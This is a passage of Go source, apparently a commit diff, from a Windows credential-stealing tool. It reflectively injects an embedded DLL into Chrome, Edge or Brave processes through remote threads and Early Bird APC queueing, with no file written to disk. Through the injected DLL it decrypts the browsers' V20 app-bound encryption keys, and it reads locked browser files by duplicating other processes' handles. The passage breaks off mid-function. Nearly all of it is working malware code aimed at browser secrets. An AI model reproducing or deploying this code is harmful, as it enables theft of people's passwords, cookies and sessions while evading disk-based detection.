exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
case 0x20b: // PE32+
if int(optHeaderOff)+116 > len(pe) {
return 0, fmt.Errorf("PE32+ optional header too short")
}
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
default:
return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
}
sectionOff := optHeaderOff + uint32(optHeaderSize)
// rva2fo converts a virtual RVA to a file offset via the section table.
rva2fo := func(rva uint32) uint32 {
for i := uint16(0); i < numSections; i++ {
off := sectionOff + uint32(i)*40
if int(off)+40 > len(pe) {
break
}
// IMAGE_SECTION_HEADER layout:
// +0 Name[8]
// +8 VirtualSize
// +12 VirtualAddress
// +16 SizeOfRawData
// +20 PointerToRawData
vAddr := binary.LittleEndian.Uint32(pe[off+12:])
vSize := binary.LittleEndian.Uint32(pe[off+8:])
rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
rawSize := binary.LittleEndian.Uint32(pe[off+16:])
span := vSize
if rawSize > span {
span = rawSize
}
if rva >= vAddr && rva < vAddr+span {
delta := rva - vAddr
if delta < rawSize {
return rawPtr + delta
}
}
}
// RVA might be in the PE headers (before the first section).
if numSections > 0 {
firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
if rva < firstRaw {
return rva
}
}
return 0
}
exportFO := rva2fo(exportRVA)
if exportFO == 0 || int(exportFO)+40 > len(pe) {
return 0, fmt.Errorf("invalid export directory")
}
// IMAGE_EXPORT_DIRECTORY offsets:
// +20 NumberOfFunctions
// +24 NumberOfNames
// +28 AddressOfFunctions
// +32 AddressOfNames
// +36 AddressOfNameOrdinals
numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
for i := uint32(0); i < numNames; i++ {
if int(namesFO+i*4+4) > len(pe) {
break
}
nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
if nameFO == 0 || int(nameFO) >= len(pe) {
continue
}
name := pe[nameFO:]
found := false
for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
if name[k] == 0 {
break
}
if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
found = true
break
}
}
if !found {
continue
}
if int(ordinalsFO+i*2+2) > len(pe) {
break
}
ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
if int(functionsFO+ordinal*4+4) > len(pe) {
break
}
funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
if funcFO != 0 {
return funcFO, nil
}
}
return 0, fmt.Errorf("ReflectiveLoader export not found")
}
// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
// followed by the UTF-16 pipe name, and returns the remote addresses of the
// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
// the loader as lpParameter so it reaches DllMain without relying on an
// inherited environment variable (which running browsers do not have).
func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
loaderOff, err := findReflectiveLoaderOffset(dllBytes)
if err != nil {
return 0, 0, fmt.Errorf("find reflective loader: %w", err)
}
pipeW, err := syscall.UTF16FromString(pipeName)
if err != nil {
return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
}
pipeBytes := len(pipeW) * 2
total := len(dllBytes) + pipeBytes
remoteMem, _, _ := procVirtualAllocEx.Call(
uintptr(hProcess), 0, uintptr(total),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
)
if remoteMem == 0 {
return 0, 0, fmt.Errorf("VirtualAllocEx failed")
}
var written uintptr
if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
}
pipeNameAddr = remoteMem + uintptr(len(dllBytes))
pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
}
return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
}
func createKillOnCloseJob() (windows.Handle, error) {
job, err := windows.CreateJobObject(nil, nil)
if err != nil {
return 0, fmt.Errorf("CreateJobObject: %w", err)
}
var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
if err != nil {
windows.CloseHandle(job)
return 0, fmt.Errorf("SetInformationJobObject: %w", err)
}
return job, nil
}
// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
// The DLL bytes are written directly into the target process — no temp file on disk.
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
hProcess, err := windows.OpenProcess(
windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
false, targetPID)
if err != nil {
return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
}
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
if err != nil {
windows.CloseHandle(hProcess)
return nil, err
}
hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
if hThread == 0 {
windows.CloseHandle(hProcess)
return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
}
windows.CloseHandle(windows.Handle(hThread))
logf("DLL reflectively injected into PID %d", targetPID)
return &PipeSession{
pid: targetPID,
hProcess: hProcess,
}, nil
}
func cleanupInjection(hProcess windows.Handle, addr uintptr) {
procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
windows.CloseHandle(hProcess)
}
// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
// existing browser process (passing the pipe name via lpParameter), and waits
// for connection. Falls back to creating a new headless browser process if
// injection into an existing process fails or times out.
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
pipeName := createPipeName()
logf("creating pipe: %s", pipeName)
hPipe, err := createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("create pipe server: %w", err)
}
pids := orderedBrowserPIDs(BrowserExeName(browserName))
const maxExistingTries = 3
if len(pids) > 0 {
for i, pid := range pids {
if i >= maxExistingTries {
logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
break
}
logf("trying existing %s PID %d", browserName, pid)
s, err := InjectDLL(dllBytes, pipeName, pid)
if err != nil {
logf("inject PID %d failed: %v", pid, err)
continue
}
s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
if err := waitPipeConnect(hPipe, 2000); err != nil {
logf("pipe connect timeout for PID %d", pid)
s.Close()
procDisconnectNamedPipe.Call(uintptr(hPipe))
windows.CloseHandle(hPipe)
hPipe, err = createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("recreate pipe: %w", err)
}
continue
}
s.hPipe = hPipe
ActivePipeSession = s
logf("pipe session established with existing %s (PID %d)", browserName, pid)
return s, nil
}
logf("failed to inject into existing %s processes, will try creating new process", browserName)
} else {
logf("no running %s found, will create new headless process", browserName)
}
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
if err != nil {
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("create and inject browser: %w", err)
}
s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
if err := waitPipeConnect(hPipe, 5000); err != nil {
logf("pipe connect timeout for new process")
s.Close()
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("pipe connect timeout")
}
s.hPipe = hPipe
s.ownsProcess = true
ActivePipeSession = s
logf("pipe session established with new %s (PID %d)", browserName, s.pid)
return s, nil
}
// FindProcesses returns PIDs of running processes matching the given exe name.
func FindProcesses(exeName string) ([]uint32, error) {
if exeName == "" {
return nil, nil
}
hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
}
defer windows.CloseHandle(hSnapshot)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err := windows.Process32First(hSnapshot, &entry); err != nil {
return nil, err
}
var pids []uint32
for {
if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
pids = append(pids, entry.ProcessID)
}
if err := windows.Process32Next(hSnapshot, &entry); err != nil {
break
}
}
return pids, nil
}
func BrowserExeName(name string) string {
switch name {
case "Chrome":
return "chrome.exe"
case "Edge":
return "msedge.exe"
case "Brave":
return "brave.exe"
}
return ""
}
// CreateAndInjectBrowser creates a new suspended browser process and reflectively
// injects the DLL via Early Bird APC. No temp file is written to disk.
func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
browserPath, err := getBrowserPath(browserName)
if err != nil {
return nil, fmt.Errorf("get browser path: %w", err)
}
browserPathW, err := syscall.UTF16PtrFromString(browserPath)
if err != nil {
return nil, err
}
cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
if err != nil {
return nil, err
}
var si windows.StartupInfo
var pi windows.ProcessInformation
si.Cb = uint32(unsafe.Sizeof(si))
if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
return nil, fmt.Errorf("CreateProcess: %w", err)
}
logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
// Create a kill-on-close job and assign the suspended browser to it so the
// whole process tree is reaped when the session closes, even though the
// headless parent self-exits after serving one key.
job, jobErr := createKillOnCloseJob()
if jobErr != nil {
logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
windows.CloseHandle(job)
job = 0
} else {
logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
}
cleanup := func() {
if job != 0 {
windows.CloseHandle(job)
}
windows.TerminateProcess(pi.Process, 0)
windows.CloseHandle(pi.Process)
windows.CloseHandle(pi.Thread)
}
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
if err != nil {
cleanup()
return nil, err
}
// Queue APC to the main thread — fires on its first alertable wait after resume.
ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
if ret == 0 {
cleanup()
return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
}
logf("queued APC for reflective loader")
if _, err := windows.ResumeThread(pi.Thread); err != nil {
cleanup()
return nil, fmt.Errorf("ResumeThread: %w", err)
}
logf("resumed process main thread")
return &PipeSession{
pid: pi.ProcessId,
hProcess: pi.Process,
ownsProcess: true,
job: job,
}, nil
}
func getBrowserPath(browserName string) (string, error) {
var paths []string
switch browserName {
case "Chrome":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
}
case "Edge":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
}
case "Brave":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
}
default:
return "", fmt.Errorf("unknown browser: %s", browserName)
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return p, nil
}
}
return "", fmt.Errorf("%s not found", browserName)
}
// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
// into a browser process and communicating via named pipe.
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
dllBytes := GetEmbeddedDLL()
if dllBytes == nil {
return nil, fmt.Errorf("no embedded DLL")
}
pids := orderedBrowserPIDs(processName)
if len(pids) == 0 && browserName == "Chrome" {
return nil, fmt.Errorf("no running Chrome processes for V20")
}
pipeName := createPipeName()
hPipe, err := createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("create pipe: %w", err)
}
const maxTries = 3
for i, pid := range pids {
if i >= maxTries {
break
}
s, injErr := InjectDLL(dllBytes, pipeName, pid)
if injErr != nil {
logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
continue
}
s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
logf("V20 pipe timeout for %s PID %d", browserName, pid)
procDisconnectNamedPipe.Call(uintptr(hPipe))
windows.CloseHandle(hPipe)
hPipe, err = createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("recreate pipe: %w", err)
}
continue
}
s.hPipe = hPipe
encB64 := base64.StdEncoding.EncodeToString(encBlob)
key, keyErr := s.GetV20Key(browserName, encB64)
s.Close()
return key, keyErr
}
if browserName == "Chrome" {
windows.CloseHandle(hPipe)
tried := len(pids)
if tried > maxTries {
tried = maxTries
}
return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
}
logf("existing %s PIDs failed for V20, launching headless process", browserName)
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
if err != nil {
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
}
s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
s.Close()
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
}
s.hPipe = hPipe
encB64 := base64.StdEncoding.EncodeToString(encBlob)
key, keyErr := s.GetV20Key(browserName, encB64)
s.Close()
return key, keyErr
}
+44
View File
@@ -0,0 +1,44 @@
//go:build !windows
package platform
import (
"errors"
"os/exec"
"strconv"
"strings"
)
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
return nil, errors.New("DLL injection not supported on this platform")
}
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
return nil, errors.New("pipe injection not supported on this platform")
}
func FindProcesses(exeName string) ([]uint32, error) {
if exeName == "" {
return nil, nil
}
out, err := exec.Command("pgrep", "-x", exeName).Output()
if err != nil {
return nil, nil
}
var pids []uint32
for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
line = strings.TrimSpace(line)
if pid, err := strconv.ParseUint(line, 10, 32); err == nil {
pids = append(pids, uint32(pid))
}
}
return pids, nil
}
func BrowserExeName(name string) string {
return ""
}
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
return nil, errors.New("not supported on this platform")
}
@@ -0,0 +1,11 @@
//go:build !windows
package platform
import "os"
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
return os.ReadFile(srcPath)
}
func ResetHandleCache() {}
@@ -0,0 +1,330 @@
//go:build windows
package platform
import (
"fmt"
"os"
"strings"
"sync"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
const (
SystemExtendedHandleInformation = 64
fileTypeDisk2 = 0x0001
pageReadonly2 = 0x02
fileMapRead2 = 0x04
)
type systemHandleInfoEx struct {
NumberOfHandles uintptr
Reserved uintptr
Handles [1]systemHandleEntry
}
type systemHandleEntry struct {
Object uintptr
UniqueProcessId uintptr
HandleValue uintptr
GrantedAccess uint32
CreatorBackTrace uint16
ObjectTypeIndex uint16
HandleAttributes uint32
Reserved uint32
}
type rmUniqueProcess2 struct {
ProcessId uint32
ProcessStartTime syscall.Filetime
}
type rmProcessInfo2 struct {
Process rmUniqueProcess2
AppName [256]uint16
ServiceShortName [64]uint16
ApplicationType uint32
AppStatus uint32
TSSessionId uint32
Restartable int32
}
var (
modNtdll2 = windows.NewLazySystemDLL("ntdll.dll")
procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation")
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx")
procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW")
procMapViewOfFile = modKernel32.NewProc("MapViewOfFile")
procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile")
procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW")
procGetFileType = modKernel32.NewProc("GetFileType")
modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll")
procRmStartSession = modRstrtmgr.NewProc("RmStartSession")
procRmEndSession = modRstrtmgr.NewProc("RmEndSession")
procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources")
procRmGetList = modRstrtmgr.NewProc("RmGetList")
)
var (
handleCacheMu sync.Mutex
handleCacheVal []systemHandleEntry
)
func cachedSystemHandles() ([]systemHandleEntry, error) {
handleCacheMu.Lock()
defer handleCacheMu.Unlock()
if handleCacheVal != nil {
return handleCacheVal, nil
}
h, err := querySystemHandles()
if err != nil {
return nil, err
}
handleCacheVal = h
return h, nil
}
func ResetHandleCache() {
handleCacheMu.Lock()
handleCacheVal = nil
handleCacheMu.Unlock()
}
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
if data, err := os.ReadFile(srcPath); err == nil {
logf("read directly: %s", srcPath)
return data, nil
}
if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 {
pids = mergePIDs(pids, lockPids)
}
if len(pids) > 0 {
if data, err := readViaHandleDuplication(srcPath, pids); err == nil {
logf("read via handle dup: %s", srcPath)
return data, nil
}
}
if ActivePipeSession != nil {
if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 {
logf("read via pipe: %s (%d bytes)", srcPath, len(data))
return data, nil
}
}
return nil, fmt.Errorf("all read methods failed for: %s", srcPath)
}
func mergePIDs(a, b []uint32) []uint32 {
seen := make(map[uint32]struct{}, len(a)+len(b))
for _, p := range a {
seen[p] = struct{}{}
}
result := append([]uint32(nil), a...)
for _, p := range b {
if _, ok := seen[p]; !ok {
result = append(result, p)
seen[p] = struct{}{}
}
}
return result
}
func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) {
handles, err := cachedSystemHandles()
if err != nil {
return nil, err
}
pidSet := make(map[uintptr]struct{}, len(pids))
for _, p := range pids {
pidSet[uintptr(p)] = struct{}{}
}
for _, h := range handles {
if _, ok := pidSet[h.UniqueProcessId]; !ok {
continue
}
hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId))
if err != nil {
continue
}
var dupHandle windows.Handle
err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue),
windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS)
windows.CloseHandle(hProcess)
if err != nil {
continue
}
ft, _, _ := procGetFileType.Call(uintptr(dupHandle))
if ft != fileTypeDisk2 {
windows.CloseHandle(dupHandle)
continue
}
handlePath := getHandlePath(uintptr(dupHandle))
if handlePath == "" || !strings.EqualFold(handlePath, srcPath) {
windows.CloseHandle(dupHandle)
continue
}
data, err := readFileByMapping(dupHandle)
windows.CloseHandle(dupHandle)
if err == nil {
return data, nil
}
}
return nil, fmt.Errorf("handle duplication failed for %s", srcPath)
}
func readFileByMapping(h windows.Handle) ([]byte, error) {
var fileSize int64
ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize)))
if ok == 0 || fileSize <= 0 {
return nil, fmt.Errorf("empty or unreadable file")
}
hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0)
if hMapping == 0 {
return nil, fmt.Errorf("CreateFileMappingW failed")
}
defer windows.CloseHandle(windows.Handle(hMapping))
baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize))
if baseAddr == 0 {
return nil, fmt.Errorf("MapViewOfFile failed")
}
defer procUnmapViewOfFile.Call(baseAddr)
data := make([]byte, fileSize)
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
return data, nil
}
func querySystemHandles() ([]systemHandleEntry, error) {
bufSize := uint32(1 * 1024 * 1024)
for {
buf := make([]byte, bufSize)
var returnLength uint32
status, _, _ := procNtQuerySystemInformation.Call(
SystemExtendedHandleInformation,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(bufSize),
uintptr(unsafe.Pointer(&returnLength)),
)
if status&0xFFFFFFFF == 0xC0000004 {
bufSize = returnLength + 65536
if bufSize > 256*1024*1024 {
return nil, fmt.Errorf("handle buffer too large")
}
continue
}
if status != 0 {
return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status)
}
info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0]))
count := int(info.NumberOfHandles)
handles := make([]systemHandleEntry, count)
for i := 0; i < count; i++ {
entry := (*systemHandleEntry)(unsafe.Pointer(
uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]),
))
handles[i] = *entry
}
return handles, nil
}
}
func getHandlePath(handle uintptr) string {
buf := make([]uint16, 32768)
n, _, _ := procGetFinalPathNameByHandle.Call(
handle,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
0,
)
if n == 0 || n >= uintptr(len(buf)) {
return ""
}
s := syscall.UTF16ToString(buf[:n])
if strings.HasPrefix(s, `\\?\`) {
s = s[4:]
}
return s
}
func getProcessesLockingFile(filePath string) []uint32 {
suffix := filePath
if len(suffix) > 8 {
suffix = suffix[len(suffix)-8:]
}
sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix)
if err != nil {
return nil
}
var sessionHandle uint32
ret, _, _ := procRmStartSession.Call(
uintptr(unsafe.Pointer(&sessionHandle)), 0,
uintptr(unsafe.Pointer(sessionKey)),
)
if ret != 0 {
return nil
}
defer procRmEndSession.Call(uintptr(sessionHandle))
filePathW, err := syscall.UTF16PtrFromString(filePath)
if err != nil {
return nil
}
ret, _, _ = procRmRegisterResources.Call(
uintptr(sessionHandle), 1,
uintptr(unsafe.Pointer(&filePathW)),
0, 0, 0, 0,
)
if ret != 0 {
return nil
}
var needed, count, rebootReason uint32
ret, _, _ = procRmGetList.Call(
uintptr(sessionHandle),
uintptr(unsafe.Pointer(&needed)),
uintptr(unsafe.Pointer(&count)),
0,
uintptr(unsafe.Pointer(&rebootReason)),
)
if ret != 234 || needed == 0 {
return nil
}
infos := make([]rmProcessInfo2, needed)
count = needed
ret, _, _ = procRmGetList.Call(
uintptr(sessionHandle),
uintptr(unsafe.Pointer(&needed)),
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&infos[0])),
uintptr(unsafe.Pointer(&rebootReason)),
)
if ret != 0 {
return nil
}
pids := make([]uint32, 0, count)
for i := uint32(0); i < count; i++ {
pids = append(pids, infos[i].Process.ProcessId)
}
return pids
}
+7
View File
@@ -0,0 +1,7 @@
package platform
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[platform] "+format, args...)
}
+293
View File
@@ -0,0 +1,293 @@
//go:build windows
package platform
import (
"crypto/rand"
"encoding/hex"
"fmt"
"sync"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
type PipeSession struct {
mu sync.Mutex
hPipe windows.Handle
hProcess windows.Handle
pid uint32
ownsProcess bool
job windows.Handle
closed bool
}
var (
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
)
func createPipeName() string {
b := make([]byte, 8)
rand.Read(b)
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
}
func createPipeServer(pipeName string) (windows.Handle, error) {
namePtr, err := syscall.UTF16PtrFromString(pipeName)
if err != nil {
return 0, err
}
const (
PIPE_ACCESS_DUPLEX = 0x3
PIPE_TYPE_BYTE = 0x0
PIPE_READMODE_BYTE = 0x0
PIPE_WAIT = 0x0
PIPE_UNLIMITED_INSTANCES = 0xFF
)
r, _, err := procCreateNamedPipeW.Call(
uintptr(unsafe.Pointer(namePtr)),
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
65536, // output buffer
65536, // input buffer
15000, // timeout ms
0,
)
if r == ^uintptr(0) {
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
}
return windows.Handle(r), nil
}
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
if err != nil {
return fmt.Errorf("CreateEvent: %w", err)
}
defer windows.CloseHandle(hEvent)
ov := windows.Overlapped{HEvent: hEvent}
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
if r != 0 {
return nil // already connected
}
if err == windows.ERROR_PIPE_CONNECTED {
return nil
}
if err != windows.ERROR_IO_PENDING {
return fmt.Errorf("ConnectNamedPipe: %w", err)
}
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return fmt.Errorf("pipe connect timeout")
}
return nil
}
func (s *PipeSession) pipeSend(data []byte) error {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return fmt.Errorf("pipe session closed")
}
length := uint32(len(data))
lengthBytes := []byte{
byte(length),
byte(length >> 8),
byte(length >> 16),
byte(length >> 24),
}
var written uint32
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
if err != nil || written != 4 {
return fmt.Errorf("write length: %w", err)
}
if length > 0 {
var totalWritten uint32
for totalWritten < length {
var n uint32
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
if err != nil || n == 0 {
return fmt.Errorf("write data: %w", err)
}
totalWritten += n
}
}
return nil
}
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return 0, nil, fmt.Errorf("pipe session closed")
}
var lengthBuf [4]byte
var totalRead uint32
deadline := time.Now().Add(10 * time.Second)
for totalRead < 4 {
if time.Now().After(deadline) {
return 0, nil, fmt.Errorf("pipe recv timeout")
}
var avail uint32
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
if r == 0 {
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
}
if avail < 4-totalRead {
time.Sleep(50 * time.Millisecond)
continue
}
var n uint32
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read length: %w", err)
}
totalRead += n
}
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
if totalLen < 1 || totalLen > 100*1024*1024 {
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
}
buf := make([]byte, totalLen)
totalRead = 0
for totalRead < totalLen {
var n uint32
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read data: %w", err)
}
totalRead += n
}
status = buf[0]
data = buf[1:]
return status, data, nil
}
func (s *PipeSession) Close() {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return
}
s.closed = true
s.sendExitLocked()
time.Sleep(100 * time.Millisecond)
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
windows.CloseHandle(s.hPipe)
if s.ownsProcess && s.hProcess != 0 {
if s.job != 0 {
windows.CloseHandle(s.job)
s.job = 0
}
windows.TerminateProcess(s.hProcess, 0)
windows.WaitForSingleObject(s.hProcess, 3000)
windows.CloseHandle(s.hProcess)
} else if s.hProcess != 0 {
windows.CloseHandle(s.hProcess)
}
}
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
h := s.hProcess
if h == 0 {
return
}
go func() {
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return
}
s.mu.Lock()
wasClosed := s.closed
s.mu.Unlock()
if wasClosed {
return
}
var code uint32
